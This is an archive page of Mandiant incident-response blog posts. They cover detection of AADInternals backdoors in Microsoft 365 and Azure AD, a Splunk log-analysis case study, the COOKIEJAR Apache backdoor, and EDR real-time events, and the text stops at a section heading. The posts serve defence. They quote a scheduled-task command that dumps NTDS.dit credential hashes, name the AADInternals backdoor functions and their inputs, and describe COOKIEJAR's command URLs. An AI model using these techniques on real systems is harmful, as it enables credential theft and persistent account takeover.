Category Archives: Incident Response

Detecting Microsoft 365 and Azure Active Directory Backdoors

Mandiant has seen an uptick in incidents involving Microsoft 365 (M365) and Azure Active Directory (Azure AD). Most of these incidents are the result of a phishing email coercing a user to enter their credentials used for accessing M365 into a phishing site. Other incidents have been a result of password spraying, password stuffing, or simple brute force attempts against M365 tenants. In almost all of these incidents, the user or account was not protected by multi-factor authentication (MFA).

These opportunistic attacks are certainly the most common form of compromise for M365 and Azure AD, and are usually the initial vector to establish persistence. During both incident response (IR) engagements and proactive cloud assessments we are often asked:

  • What are some other types of attacks that Mandiant is seeing against M365 and Azure AD?
  • Is it possible for an on-premises compromise to “vertically” move to M365 and Azure AD?
  • If a global administrator account is compromised, is it possible to maintain persistence even after the compromised account has been detected, a password reset has occurred, and MFA has been applied?

AADInternals PowerShell Module

In some incidents, Mandiant has witnessed attackers utilizing a PowerShell module called AADInternals, which can allow an attacker to vertically move from on-premises to Azure AD, establish backdoors, steal passwords, generate user security tokens, and bypass MFA protections. This PowerShell module has allowed attackers to maintain persistence in the tenant even after initial eradication efforts were conducted.

To see this module in action and understand how it works, Dr. Nestori Syynimaa’s PSCONFEU 2020 presentation, Abusing Azure Active Directory: Who would you like to be today?, provides an in-depth overview of the module.

To detect the use of AADInternals, it is important to understand how some of these attacks work. Once an understanding is established, abnormal usage can be detected through a combination of log analysis and host-based indicators.

Backdoor 1: Abusing Pass-Through Authentication

Attacker Requirements

  • Local Administrative Access to a server running Pass-through Authentication

Or

  • M365 global administrator credentials

The AADInternals PowerShell module contains a function called Install-AADIntPTASPY. The function works by inserting itself as a man-in-the-middle within the Pass-through Authentication (PTA) process that occurs between Azure AD and the server running the PTA Agent in the on-premises environment. Commonly, the PTA Agent runs on the same on-premises server as Azure AD Connect (AAD Connect).

When PTA is enabled, every logon that occurs against Azure AD gets redirected to the PTA Agent on-premises. The PTA Agent asks an on-premises Active Directory Domain Controller if a password is valid for an authenticating account. If valid, the PTA Agent responds back to Azure AD to grant the requestor access. Figure 1 provides the workflow of Pass-through Authentication and where AADInternals can intercept the request.


Figure 1: Pass-through Authentication workflow

Once the function is running, every PTA attempt against Azure AD will be intercepted by the installed AADIntPTASpy module. The module will record the user’s password attempt and reply back to Azure AD on behalf of the PTA Agent. This reply advises Azure AD the password attempt was valid and grants the user access to the cloud, even if the password is incorrect. If an attacker has implanted AADIntPTASpy, they can log in as any user that attempts to authenticate using PTA—and will be granted access.

Additionally, all password attempts that are registered by the AADIntPTASpy module are recorded within a log file on the server (Default location: C:\PTASpy\PTASPy.csv). Figure 2 shows how the log file can be decoded to reveal a user’s password in cleartext.


Figure 2: PTASpy.csv decoded passwords

Not only will this function allow an attacker to login as any user who authenticates via PTA, but it will also act as a repository for collecting user passwords who are legitimately logging into Azure AD. This could allow an attacker to pivot their attack to other areas of the network—or use these credentials against other internet accessible portals that may leverage single-factor authentication (e.g., VPN gateway).

An attacker can use this module in one of two ways:

Method 1: On-Premises Compromise

An attacker has gained access to an on-premises domain and is able to laterally move to the AADConnect / PTA Agent Server. From this server, an attacker can potentially leverage the AADInternals PowerShell module and invoke the Install-AADIntPTASpy function.

Method 2: Cloud Compromise

If an attacker has successfully compromised an Azure AD global admin account, an attack can be conducted from an attacker’s own infrastructure. An attacker can install a PTA Agent on a server they manage and register the agent using the compromised global administrator account (Figure 3).


Figure 3: Azure AD Portal—registered Pass-through Authentication agents

Once registered with Azure AD, the rogue server will begin to intercept and authorize all login attempts. As with Method 1, this server can also be used to harvest valid credentials.

Backdoor 2: Abusing Identity Federation

Attacker Requirements

  • Local administrative access to AD and server running Active Directory Federation Services

Or

  • M365 global administrator credentials

Another method of authenticating to M365 is through the usage of federation services. When a M365 domain is configured as a federated domain, a trust is configured between M365 and an external identify provider. In many cases, this trust is established with an Active Directory Federation Services (ADFS) server for an on-premises Active Directory domain.

Once a trust is established, when a user logs into M365 using a federated domain, their request is redirected to the external identify provider (ADFS) where their authentication is validated (Figure 4). Once validated, the ADFS server provides the user a security token. This token is then trusted by M365 and grants the access to the platform.


Figure 4: Microsoft 365 Federation Sign-in workflow

AADInternals has a PowerShell function to craft security tokens, which mimics the ADFS authentication process. When providing the function a valid UserPrincipalName, Immutable ID and IssuerURI, an attacker can generate a security token as any user of the tenant. What’s even more concerning is that once this security token is generated, this can allow an attacker to bypass MFA.

As with Backdoor 1, this attack can either be performed from a compromised on-premises environment or from an attacker’s own infrastructure.

Method 1: On-Premises Compromise

Once an attacker has gained access to an on-premises domain with elevated access, they can begin to collect the required information to craft their own security tokens to backdoor into M365 as any user. An attacker will require:

  • A valid UserPrincipalName and Immutable.
    • Both of these attributes can be pulled from the on-premises Active Directory domain.
  • IssuerURI of the ADFS server and ADFS Signing certificate.
    • This can be obtained from an ADFS server when directly logged into the server or remotely querying the server via an privileged account.

Once an attacker has collected the necessary information, using the AADInternals Open-AADIntOffice365Portal command, a security token for the user can be generated granting an attacker access to M365 (Figure 5).


Figure 5: AADInternals Open-AADIntOffice365Portal command

Method 2: Cloud Compromise

If an attacker has a compromised an M365 Global Administrator account, using their own infrastructure, an attacker can use their administrative access to collect user information and reconfigure the tenant to establish their backdoor. In this method, an attacker will require:

  • A valid UserPrincipalName and valid ImmutableId.
    • Figure 6 shows how the Get-MsolUser command can obtain a user’s ImmutableId from Azure AD.


Figure 6: Get-MsolUser—list user UPN & ImmutableId

  • IssuerURI
    • This can be obtained by converting a managed domain to a federated domain. Figures 7 through 10 show how the AADInternals ConvertTo-AADIntBackdoor command (Figure 8) can be used to allow attacker to register their own IssuerURI for a federated domain.


Figure 7: Get-msoldomain—list of registered domains and authentication


Figure 8: ConvertTo-AADIntBackdoor—convert domain to federated authentication


Figure 9: Changed authentication method


Figure 10: Azure AD Portal registered domains

Note: To not interrupt production and authentication with an existing federated domain (and to remain undetected), an attacker may opt to register a new domain with the tenant.


Figure 11: AADInternals Open-AADIntOffice365Portal Command using new Federated domain

Once an attacker has properly configured the tenant, using the ImmutableId of any user, a security token can be generated by executing the Open-AADIntOffice365Portal command (Figure 11). This will allow an attacker to login as that user without the need for a valid certificate or a legitimate IssuerURI.

Fortunately for defenders, this method will generate a number of events in the unified audit log, which can be leveraged for monitoring and alerting.

Mitigation and Detection

Once persistence is established, it can be extremely difficult to detect login activity that is utilizing one of the previously described methods. In lieu of this, it is recommended to monitor and alert on M365 unified audit logs and Azure AD sign-in activity to detect anomalous activity.

Detection in FireEye Helix

Being that Mandiant has seen this methodology being used in the wild, we felt it was necessary to build these detections into our FireEye Helix security platform. Helix engineers have created sever new detection rules that monitor for detectable activity of an attacker making use of the AADInternals PowerShell module.

The following five rules will monitor a server’s event logs and alert upon the installation and usage of the AADInternals PowerShell module (Figure 12). The detection of these activities could be high fidelity alerts that an attacker is preparing to configure backdoors into M365 and Azure AD environments.


Figure 12: AADInternals Helix rules

If an attacker has successfully configured a backdoor using AADInternals, Helix will alert upon the following events registered in the Office 365 unified audit log and Azure Activity Log as indication of a possible event (Figure 13 and Figure 14). It is important to note that these alerts could be triggered upon legitimate administrator activity. When responding to these alerts, first check with your M365 and Azure AD administrator to verify the activity before raising a security event.


Figure 13: Office 365 and Azure Helix rules


Figure 14: PTA Connector Registered alert description

Hunting for Backdoors in M365 Unified Audit Logs and Azure AD Logs

If you suspect a global administrator account was compromised and you want to review Azure AD for indicators of potential abuse, the following should be reviewed (note that these same concepts can be used for proactive log monitoring):

  • From Azure AD Sign-ins logs, monitor logon activity from On-Premises Directory Synchronization Service Accounts. This account is used by the Azure AD Connect service (Figure 15).


Figure 15: Azure AD Sign-ins

  • Baseline the IP addresses used by this account and make sure the IPs match those assigned to the on-premises WAN infrastructure. If the attacker has configure a PTA Agent on their own infrastructure, seeing an IP that does not match your baseline could be an indicator that a rogue PTA Agent has been configured by the attacker (Figure 16).


Figure 16: Azure AD Sign-in logs—On-Premises Directory Synchronization Services account

From Azure AD Sign-ins, monitor and baseline Azure AD Sign-ins to the Azure AD Application Proxy Connector. Make sure to validate username, IP and location.

These events are typically only generated when a new PTA agent is connected to the tenant. This could be an indicator that an attacker has connected a rogue PTA server hosted on an attacker’s infrastructure (Figure 17).


Figure 17: Azure AD Sign-in logs—Azure AD Application Proxy Connector

If using Azure Sentinel, this event will also be registered in the Azure AuditLogs table as a “Register Connector” OperationName (Figure 18).


Figure 18: Register Connector—Azure Sentinel logs

  • In the Azure Management Portal under the Azure AD Connect blade, review all registered servers running PTA Agent. The Authentication Agent and IP should match your infrastructure (Figure 19).
    • Log in to https://portal.azure.com
      • Select Azure AD Connect > Pass-through Authentication


Figure 19: Azure Active Directory Pass-through Authentication agent status

  • Monitor and alert for "Directory Administration Activity" in Office 365 Security & Compliance Center’s unified audit log. When an attacker is able to create a domain federation within a compromised cloud tenant, and link this to attacker-owned infrastructure, this will generate activity in the log (Figure 21).
    • https://Protections.office.com/unifiedauitlog > Audit Log Search
    • Select Directory Administration Activates category to select all activities
    • Create New Alert Policy (Figure 20)


Figure 20: Unified Audit Log > Create new alert policy


Figure 21: Unified Audit Log filtered for domain related events

  • Using Azure Sentinel, more granular Directory Administration Activities can be modified for suspicious activity. This includes additions, deletions and modifications of domains and their authentication settings (Figure 22).
    • Monitoring for OfficeActivity Operations in Azure Sentinel can allow an organization to validate if this is normalized activity or if an attacker is working on setting up a backdoor for PTA or federation.
      • Table: OfficeActivity
        • Operation: Set-AcceptedDomain
        • Operation: Set-MsolDomainFederationSettings
        • Operation: Add-FederatedDomain
        • Operation: New-Accepted Domain
        • Operation: Remove-Accepted Domain
        • Operation: Remove-FederatedDomain


Figure 22: OfficeActivity Operations Azure Sentinel logs

Detection On-Premises

If an attacker is able to compromise on-premises infrastructure and access a server running AD Connect or ADFS services with the intention of leveraging a tool such as AADInternals to expand the scope of their access to include cloud, timely on-premises detection and containment is key. The following methods can be leveraged to ensure optimized visibility and detection for the scope of activities described in this post:

  • Treat ADFS and Azure AD Connect servers as Tier 0 assets.
    • Use a dedicated server for each. Do not install these roles and server in addition to other. All too often we are seeing Azure AD Connect running on a file server. 
  • Ensure PowerShell logging is optimized on AD Connect and ADFS servers
  • Review Microsoft-Windows-PowerShell/Operational logs on ADFS and AADConnect Server Logs.
    • If PowerShell logging is enabled, search for Event ID 4101. This event ID will record the event where AADInternals was installed (Figure 23).


Figure 23: EventID 410—Installed Module

  • Additionally, with this logging enabled, you will be able to review the PowerShell commands used by an attacker.
    • In PowerShell, run Get-Module -All and look for the presence of AADInternals (Figure 24).


Figure 24: Get-Module command to list installed modules

  • Alert for the presence of C:\PTASpy and C:\PTASpy\PTASpy.csv.
    • This is the default location of the log file that contains records of all the accounts that were intercepted by the tool. Remember, an attacker may also use this to harvest credentials, so it is important to reset the password for these accounts (Figure 25).


Figure 25: PTASpy.csv log activity

Mitigations

In order for this attack to be successful, an attacker must gain administrative privileges on a server running Azure AD Connect and/or gain global administrator rights within M365. Simple practices such as limiting and properly protecting global administrator accounts as well as properly protecting Tier 0 assets can greatly reduce the risk of an attacker successfully using the AADInternals PowerShell against your organization.

  • Limit or restrict access to Azure AD Connect servers.
    • Any server acting as an identity provider or facilitating identity federation should be treated as a Tier 0 asset.
  • Create separate dedicated global administrator accounts.
    • Global administrators should be cloud-only accounts.
    • These accounts should not retain any licensing.
  • Implement MFA on all accounts: admins, users and services.
    • If a particular account cannot use MFA, apply a conditional access rule that limits its logon to a trusted network. This works particularly well for service accounts.  
  • Establish a roadmap to block legacy authentication.
  • Limit which accounts are synced from on-premises to the cloud.
    • Do not sync privileged or service accounts to the cloud.
  • Use Azure administrative roles.
    • Not everybody or everything needs to be a global admin to administer the environment.
  • Use password hash sync over Pass-through Authentication.
    • Many organizations are reluctant to sync their password to Azure AD. The benefits from this service greatly outweigh the risks. Being able to use global and custom banned passwords lists, for both the cloud and on-premises, is a tremendous benefit.
  • Forward all M365 unified audit logs and Azure logs to a SIEM and build detections.
    • Ensure you are forwarding the logs recommended in this post and building the appropriate detections and playbooks within your security operations teams.
    • Specifically monitor for:
      • Set-AcceptedDomain
      • Set-MsolDomainFederationSettings
      • Add-FederatedDomain
      • New-Accepted Domain
      • Remove-Accepted Domain
      • Remove-FederatedDomain
  • Periodically review all identity providers and custom domains configured in the M365 tenant.
    • If an attacker is successful at gaining global administrative privileges, they may choose to add their own identity provider and custom domain to maintain persistence.

Acknowledgements

I want to give a special thanks to Daniel Taylor, Roberto Bamberger and Jennifer Kendall at Microsoft for collaborating with Mandiant on the creation of this blog post.

A “DFUR-ent” Perspective on Threat Modeling and Application Log Forensic Analysis

Many organizations operating in e-commerce, hospitality, healthcare, managed services, and other service industries rely on web applications. And buried within the application logs may be the potential discovery of fraudulent use and/or compromise! But, let's face it, finding evil in application logs can be difficult and overwhelming for a few reasons, including:

  • The wide variety of web applications with unique functionality
  • The lack of a standard logging format
  • Logging formats that were designed for troubleshooting application issues and not security investigations
  • The need for a centralized log analysis solution or SIEM to process and investigate a large amount of application log data

So, in this blog post, we discuss threat modeling concepts that can help prioritize logging decisions and unleash the ability to identify and investigate attacks against an application. To help us demonstrate, we'll describe situations for a fictitious organization called Dog and Feline Urgent Response, or DFUR, that we presented at the 2020 SANS Digital Forensics & Incident Response (DFIR) Summit.

We selected Splunk Enterprise Security (ES) as DFUR’s SIEM and logging analysis platform, but this is just one option and there are multiple technologies that can facilitate application log analysis. We created a Splunk application called “Dog and Feline Urgent Response (DFUR)” available on the FireEye GitHub that contains pre-indexed data and dashboards that you can use to follow along with the following attack scenarios.

But, enough kitten around. Let’s introduce you to DFUR!

DFUR: Dog and Feline Urgent Response

DFUR is a long-standing organization in the pet wellness industry that provides care providers, pet owners, and insurance providers with application services.

  • Care providers, such as veterinarians, use DFUR to process patient records, submit prescriptions, and order additional care services
  • Pet owners use DFUR to make appointments, pay bills, and see diagnostic test results
  • Insurance providers use DFUR to receive and pay claims to pet care providers

Application users log into a web portal that forwards logon and user transaction logs to DFUR’s Splunk ES instance. Backend databases store metadata for users, such as street addresses and contact information.

DFUR Security Team Threat Modeling

After stumbling through several incidents, the DFUR security team realized that their application did not log the information needed to answer investigative question clearly and quickly. The team held workshops with technical stakeholders to develop a threat model and improve their application security strategy. They addressed questions, such as:

  • What types of threats does DFUR face based on industry trends?
  • What impact could those threats have?
  • How could the DFUR application be attacked or abused?
  • What log data would DFUR need to prove an attack or fraud happened?

The DFUR team compiled the stakeholder feedback and developed a threat profile to identify and prioritize high-risk threats facing the DFUR application platform, including:

  • Account takeover and abuse
    • Password attacks (e.g., credential stuffing)
    • Bank account modifications
    • PHI/PII access
    • Health service modifications or interruptions
  • Fraudulent reimbursement claim submission
  • Veterinarians over-prescribing catnip

The DFUR security team discussed how they could identify threats using their currently available logs, and, well, the findings were not purr-ty.

Logging Problems Identified

The DFUR team used their threat model to determine what log sources were relevant to their security mission, and then they dug into each one to confirm the log events were valid, normalized, and accessible. This effort produced a list of high-priority logging issues that needed to be addressed before the security team could move forward with developing methods for detection and analysis:

  • Local logs were not forwarded to their Splunk ES instance. Only a limited subset of logging was forwarded to their Splunk ES instance, so DFUR analysts couldn't search for the actions performed by users who were authenticated to the application portal.
  • Inaccurate field mapping. DFUR analysts identified extracted field values that were mapped to incorrect field names. One example was the user-agent in authentication log events had been extracted as the username field.
  • Application updates sometimes affected Splunk ingestion and parsing. DFUR analysts identified servers that didn't have a startup script to ensure log forwarding was enabled upon system reboot. Application updates changed the logging output format which broke field extractions. DFUR analysts didn't have a way to determine when log sources weren't operating as expected.
  • Time zone misconfigurations. DFUR analysts determined their log sources had multiple time zone configurations which made correlation difficult.
  • The log archival settings needed to be modified. DFUR analysts needed to configure their Splunk ES instance data retirement policy to maintain indexed data for a longer time period and archive historical data for quick restoration.
  • Source IP addresses of users logging into the portal were masked by a load balancer. The DFUR analysts realized that the source IP address for every user logon was a load balancer, which made attribution even more difficult. The X-Forwarded-For (XFF) field in their appliances needed to be enabled.

Analysis Problems Identified

The DFUR infosec team reviewed how previous incidents involving the DFUR application were handled. They quickly learned that they needed to solve the following operational issues before they could effectively investigate application attacks:

  • Inconsistency during manual analysis. DFUR analysts took different approaches to searching their Splunk ES instance, and they would reach different conclusions. Playbooks were needed to define a standard investigative methodology for common incident scenarios.
  • No documentation of log fields or sources. Some DFUR analysts were not aware of all relevant data sources that were available when investigating security incidents. This led to findings that were based on a small part of the picture. A data dictionary was needed that defines the log sources and fields in the DFUR Splunk ES instance and the retention time for each log source.
  • Application logs were designed for troubleshooting, not investigating. The DFUR application was configured to log diagnostic information, application errors, and limited subsets of successful user activity. The DFUR team needed to reconfigure and develop the application to record more security related events.

DFUR: New and Improved Monitoring and Detection

The DFUR team addressed their application log and analysis problems and started building a detection and investigative capability in their Splunk ES instance. Using the analysis workflows developed during the threat modeling process, the DFUR team designed Splunk dashboards (Figure 1) to provide detection analytics and context around three primary datapoints: usernames, IP addresses, and care providers (“organizations”).


Figure 1: DFUR monitoring and detection dashboard

The DFUR team created the Splunk dashboards using Simple XML to quickly identify alerts and pivot among the primary datapoints, as seen in Figure 2. The DFUR team knew that their improved and streamlined methodology would save time compared to exporting, analyzing, and correlating raw logs manually.


Figure 2: Pivoting concepts used to develop DFUR dashboards

Newly armed (legged?) with a monitoring and detection capability, the DFUR team was ready to find evil!

Attack Scenario #1: Account Takeover

The next morning, the DFUR security team was notified by their customer service team of a veterinarian provider with the username ‘labradorable’ who hadn’t received their daily claims payment and noticed their banking information in the DFUR portal was changed overnight.

A DFUR analyst opened the User Activity Enrichment dashboard (Figure 3) and searched for the username to see recent actions performed by the account.


Figure 3: User Activity Enrichment dashboard

The analyst reviewed the Remote Access Analytics in the dashboard and identified the following anomalies (Figure 4):

  • The username reminder and password reset action was performed the day before from an Indonesia-based IP address
  • The user account was logged in from the same suspicious IP address shortly after
  • The legitimate user always logs in from California, so the Indonesia source IP login activity was highly suspicious


Figure 4: Remote access analytics based on user activity

The DFUR analyst clicked on the Application Activity tab in the User Activity Enrichment dashboard to see what actions were performed by the user while they were logged in from the suspicious IP address. The analyst identified the user account logged in from the suspicious IP address and performed an email address change and added two (2) new bank accounts, as seen in Figure 5.


Figure 5: Application activity timeline filtered based on IP address

The DFUR analyst confirmed that the two (2) bank accounts were added by the user to the care provider with organization ID 754354, as seen in Figure 6.


Figure 6: Bank accounts added and assigned to a provider

By clicking on the organization ID in the Splunk results table, the DFUR analyst triggered a drill-down action to automatically open the Organization Enrichment Dashboard and populate the organization ID value with the results from the previous panel (Figure 7). The DFUR analyst determined that the bank routing information for the new bank accounts was inconsistent with the organization’s mailing address.  


Figure 7: Organization Enrichment Dashboard

The activity indicated that the attacker had access to the user’s primary email and successfully reset the DFUR account password. The DFUR analyst confirmed that no other accounts were targeted by the suspicious IP address (Figure 8).


Figure 8: IP Address Enrichment dashboard

Attack Scenario #2: Credential Stuffing

Later that afternoon, the DFUR team began receiving reports of account lockouts in the patient and provider portals when users tried to login. The security team was asked to investigate potential password attack activity on their DFUR platform.

The DFUR analyst pulled up the main monitoring and detection dashboard and scrolled down to the panel focused on identifying potential password attack activity (Figure 9). They identified five (5) IP addresses associated with an elevated number of failed login attempts, suggesting a password spray or credential stuffing attack with varying success.


Figure 9: Dashboard panel showing potential password attack events

The DFUR analyst clicked on one of the IP addresses which triggered a drill-down action to open the IP Address Enrichment dashboard and prepopulate the IP address token value (Figure 10).


Figure 10: IP Address Enrichment dashboard

The DFUR analyst identified more than 3,000 failed login attempts associated with the IP address with three (3) successful logins that morning. The Remote Access Analytics panels for the IP address further showed successful logins for accounts that may have been successfully compromised and need to be reset (Figure 11).


Figure 11: Remote access analytics for IP address

Conclusion

After implementing the newly developed logs and analysis capabilities and by leveraging Splunk’s security solutions, the DFUR security team drastically improved key metrics aligned with their application security missions:

  1. Identify compromise and fraud before customers report it
  2. Analyze 90% of application security events within 30 minutes
  3. Answer all investigation questions from users, compliance, and legal teams

Mandiant and the whole DFUR security team hope you can use the scenarios and references in this post to improve your log analysis and how you leverage a SIEM solution in the following ways:

  • Reflect on your current logging gaps and capabilities to improve
  • Enhance logs from “whatever the developers implemented” to “designed to be investigated”
  • Develop investigative workflows that are reliable and repeatable
  • Correlate pivot points between your data sources and streamline correlation capabilities
  • Create monitoring and alerting capabilities based on threat modeling
  • Lower the technical barrier for comprehensive analysis
  • Implement similar analysis capabilities to those in the “DFUR” Splunk application, linked in the References section
  • Understand that logs can lead into better security analytics and strengthening of your security operations

References

For organizations that utilize Splunk security solutions as their SIEM solution, for automation, analytics or log aggregation, or want to try out for free with Splunk’s free trial download, we developed an application called “Dog and Feline Urgent Response (DFUR)” to demonstrate application log forensic analysis and dashboard pivoting concepts. The code contains pre-indexed data and CSV files referenced by searches contained in four Splunk XML dashboards. All data, such as IP addresses and usernames, was fabricated for the purposes of the demo and any association with organizations, users, or pets is coincidental.

COOKIEJAR: Tracking Adversaries With FireEye Endpoint Security’s Logon Tracker Module

During a recent investigation at a telecommunications company led by Mandiant Managed Defense, our team was tasked with rapidly identifying systems that had been accessed by a threat actor using legitimate, but compromised domain credentials. This sometimes-challenging task was made simple because the customer had enabled the Logon Tracker module within their FireEye Endpoint Security product.

Logon Tracker is an Endpoint Security Innovation Architecture module designed to simplify the investigation of lateral movement within Windows enterprise environments. Logon Tracker improves the efficiency of investigating lateral movement by aggregating historical logon activity and provides a mechanism to monitor for new activity. This data is presented in a user interface designed for analyzing investigative leads (e.g., a compromised account) and hunting for suspicious activity (e.g., RDP activity by privileged accounts). Logon Tracker also provides a graph interface that enables the identification of irregular and unique logons with the option to filter on hostnames, usernames, protocol, time of day, process name, privilege level, status (success/failure), and more.


Figure 1: Logon Tracker GUI interface

A critical component of a successful incident response is the scoping effort to identify systems that may have been accessed by the adversary. Windows Event Logs offer a commonly utilized method of identifying an adversary’s lateral movement between Windows systems. However, as with all log sources, Windows Event Logs are subject to data retention limits on endpoints, making the aggregated logon activity provided by Logon Tracker a critical source of evidence for incident response.

Logon Tracker’s graphical display along with the raw logon events allowed Mandiant Managed Defense to quickly identify 10 potentially compromised hosts and begin to create a timeline of adversary activity.

Managed Defense also leveraged Logon Tracker to monitor for additional suspicious logons and adversary activity throughout the incident response. Searching for logons (both failed and successful) from known compromised accounts and activity originating from compromised systems allowed our investigators to quickly determine which systems should be prioritized for analysis. Additionally, Logon Tracker provides investigators the ability to:

  • Filter logon data for activity originating from user-provided IP ranges
  • Search for logon data for activity by specific privileged accounts, including “Domain Administrators” and “Enterprise Administrators”
  • Search for any privileged logon using the “Privileged” logon type
  • Provide alerting and definition of custom rules (coming soon!)

Case Background

In mid-July, the Managed Defense Security Operations Center identified potential credential harvesting activity on a Windows server. The activity included the creation of a scheduled task configured to execute the built-in Windows utility, NTDSUTIL to take a snapshot of the active NTDS.dit file and save it locally to a text file as shown in Figure 2:

"schtasks  /s <redacted> /create /tn ntbackup /tr \"ntdsutil snapshot \\\"activate instance ntds\\\" create quit quit >c:\\Users\\admin\\AppData\\Local\\Temp\\ntds.log\" /sc once /st 05:38:00 /sd 07-12-2020 /f

Figure 2: Scheduled task creation for NTDS.DIT harvesting

The NTDS.dit file is a database that contains Active Directory data such as user objects, group memberships, groups, and—more useful to an adversary—password hashes for all users in the domain.

Leveraging Logon Tracker and simple timeline analysis, Managed Defense quickly determined an adversary had accessed this system to create a scheduled task from a system with a hostname that did not match the naming convention used within the environment. An anonymized example of Logon Tracker data is shown in Figure 3:


Figure 3: Logon Tracker data

Armed with the suspicious hostname and potentially compromised username, Managed Defense then used Logon Tracker’s search functionality to determine the scope of systems potentially accessed by the adversary.

The resulting investigation revealed that an Internet-facing Customer Relationship Management (CRM) application hosted on a Linux Apache web server had been compromised. Multiple web shells had been placed within web-accessible folders, allowing an adversary to execute arbitrary commands on the server. The adversary leveraged one of these web shells to install a malicious Apache module and restart Apache for the module to take effect. Mandiant has classified this module as COOKIEJAR (see the Malware Appendix at the end of the post for more details). The COOKIEJAR module enabled the adversary to proxy through the compromised server to any arbitrary IP/port pair within the customer’s internal network, see Figure 4.


Figure 4: PCAP data

Using this proxied access to the customer’s network, the adversary leveraged previously compromised domain credentials to connect to multiple Windows servers using SMB. Due to the use of the proxy to connect into the customer’s network, the hostname of the adversary’s workstation being used to conduct the attack was also passed into the logon events. This type of activity occurs due to the direct connection to the customers network and is similar to being on the same LAN. The non-standard hostname and non-standard customer naming convention used by the adversary help make scoping an easy task. Additionally, Managed Defense was able to leverage network detection to alert on the authentication attempts and activities of the adversary’s host.

Malware Appendix

During the course of the response, Mandiant identified a customized malicious Apache plugin capable of intercepting HTTP requests to an Apache HTTP server. The new malware family COOKIEJAR was created to aid in clustering and tracking this activity. The COOKIEJAR module installs a pre-connection hook that only runs if the client IP address matches a specified hardcoded adversary-controlled IP address. It listens for SSL/TLS connections on the port specified by the Apache server, using a certificate and private key loaded from /tmp/cacert.pem and /tmp/privkey.pem respectively. If the client IP address matches the hardcoded IP address (Figure 4), the backdoor accepts three commands based on the start of the URL:

  • /phpconf_t/: Simply writes <html><h1>accepted.</h1></html> as the response. Likely used to test if the server is infected with the malware.
  • /phpconf_s/: Executes commands on the server. Any communications to and from the system are forwarded to a shell, and are AES-256-ECB encrypted and then Base58 encoded.
  • /phpconf_p/: Decode the second encoded string provided as a hostname/port (the first is ignored), using Base58 and AES-256-ECB (same key as before). The server will connect to the remote host and act as a proxy for the command and control (C2). Data to and from the C2 is encoded using Base58 and AES-256-ECB. Data to and from the remote host is not encoded.


Figure 5: Hardcoded configuration data within COOKIEJAR

Detecting the Techniques

Product

Signature

Network Security/MVX

  • APT.Backdoor.Linux64_COOKIEJAR_1
  • APT.Backdoor.Linux_COOKIEJAR_1
  • APT.Backdoor.Linux.COOKIEJAR

Acknowledgements

  • Chris Gardner, Malware Analyst
  • Fred House, Director, Engineering

More information on FireEye Endpoint Security's  Logon Tracker Module  including the module download and user manual are available in the  FireEye Marketplace .

Using Real-Time Events in Investigations

To understand what a threat actor did on a Windows system, analysts often turn to the tried and true sources of historical endpoint artifacts such as the Master File Table (MFT), registry hives, and Application Compatibility Cache (AppCompat). However, these evidence sources were not designed with detection or incident response in mind; crucial details may be omitted or cleared through anti-forensic methods. By looking at historical evidence alone, an analyst may not see the full story.

Real-time events can be thought of as forensic artifacts specifically designed for detection and incident response, implemented through Enterprise Detection and Response (EDR) solutions or enhanced logging implementations like Sysmon. During active-attacker endpoint investigations, FireEye Mandiant has found real-time events to be useful in filling in the gaps of what an attacker did. These events record different types of system activities such as process execution, file write activity, network connections, and more.

During incident response engagements, Mandiant uses FireEye Endpoint Security to track endpoint system events in real-time. This feature allows investigators to track an attacker on any system by alerting on and reviewing these real-time events. An analyst can use our solution’s built-in Audit Viewer or Redline to review real-time events.

Let’s look at some examples of Windows real-time events available on our solution and how they can be leveraged during an investigation. Let’s assume the account TEST-DOMAIN\BackupAdmin was an inactive Administrator account compromised by an attacker. Please note the examples provided in this post are based on real-time events observed during engagements but have been recreated or altered to preserve client confidentiality.

Process Execution Events

There are many historical process execution artifacts including AppCompat, AmCache, WMI CCM_RecentlyUsedApps, and more. A single artifact rarely covers all the useful details relating to a process's execution, but real-time process execution events change that. Our solution’s real-time process execution events record execution time, full process path, process identification number (PID), parent process path, parent PID, user, command line arguments, and even the process MD5 hash.

Table 1 provides an example of a real-time process execution event recorded by our solution.

Field

Example

Timestamp (UTC)

2020-03-10 16:40:58.235

Sequence Number

2879512

PID

9392

Process Path

C:\Windows\Temp\legitservice.exe

Username

TEST-DOMAIN\BackupAdmin

Parent PID

9103

Parent Process Path

C:\Windows\System32\cmd.exe

EventType

Start

ProcessCmdLine

"C:\Windows\Temp\legitservice.exe"  -b -m

Process MD5 Hash

a823bc31395539816e8e4664e884550f

Table 1: Example real-time process execution event

Based on this real-time process execution event, the process C:\Windows\System32\cmd.exe with PID 9103 executed the file C:\Windows\Temp\legitservice.exe with PID 9392 and the MD5 hash a823bc31395539816e8e4664e884550f. This new process used the command line arguments -b -m under the user context of TEST-DOMAIN\BackupAdmin.

We can compare this real-time event with what an analyst might see in other process execution artifacts. Table 2 provides an example AppCompat entry for the same executed process. Note the recorded timestamp is for the last modified time of the file, not the process start time.

Field

Example

File Last
Modified (UTC)

2020-03-07 23:48:09

File Path

C:\Windows\Temp\legitservice.exe

Executed Flag

TRUE

Table 2: Example AppCompat entry

Table 3 provides an example AmCache entry. Note the last modified time of the registry key can usually be used to determine the process start time and this artifact includes the SHA1 hash of the file.

Field

Example

Registry Key
Last Modified (UTC)

2020-03-10 16:40:58

File Path

C:\Windows\Temp\legitservice.exe

File Sha1 Hash

2b2e04ab822ef34969b7d04642bae47385be425c

Table 3: Example AmCache entry

Table 4 provides an example Windows Event Log process creation event. Note this artifact includes the PID in hexadecimal notation, details about the parent process, and even a field for where the process command line arguments should be. In this example the command line arguments are not present because they are disabled by default and Mandiant rarely sees this policy enabled by clients on investigations.

Field

Example

Write Time (UTC)

2020-03-10 16:40:58

Log

Security

Source

Microsoft Windows security

EID

4688

Message

A new process has been created.

Creator Subject:
      Security ID:             TEST-DOMAIN\BackupAdmin
      Account Name:            BackupAdmin
      Account Domain:          TEST-DOMAIN
      Logon ID:                0x6D6AD

Target Subject:
      Security ID:             NULL SID
      Account Name:            -
      Account Domain:          -
      Logon ID:                0x0

Process Information:
      New Process ID:          0x24b0
      New Process Name:        C:\Windows\Temp\legitservice.exe
      Token Elevation Type:    %%1938
      Mandatory Label:         Mandatory Label\Medium Mandatory Level
      Creator Process ID:      0x238f
      Creator Process Name:    C:\Windows\System32\cmd.exe
      Process Command Line:    

Table 4: Example Windows event log process creation event

If we combine the evidence available in AmCache with a fully detailed Windows Event Log process creation event, we could match the evidence available in the real-time event except for a small difference in file hash types.

File Write Events

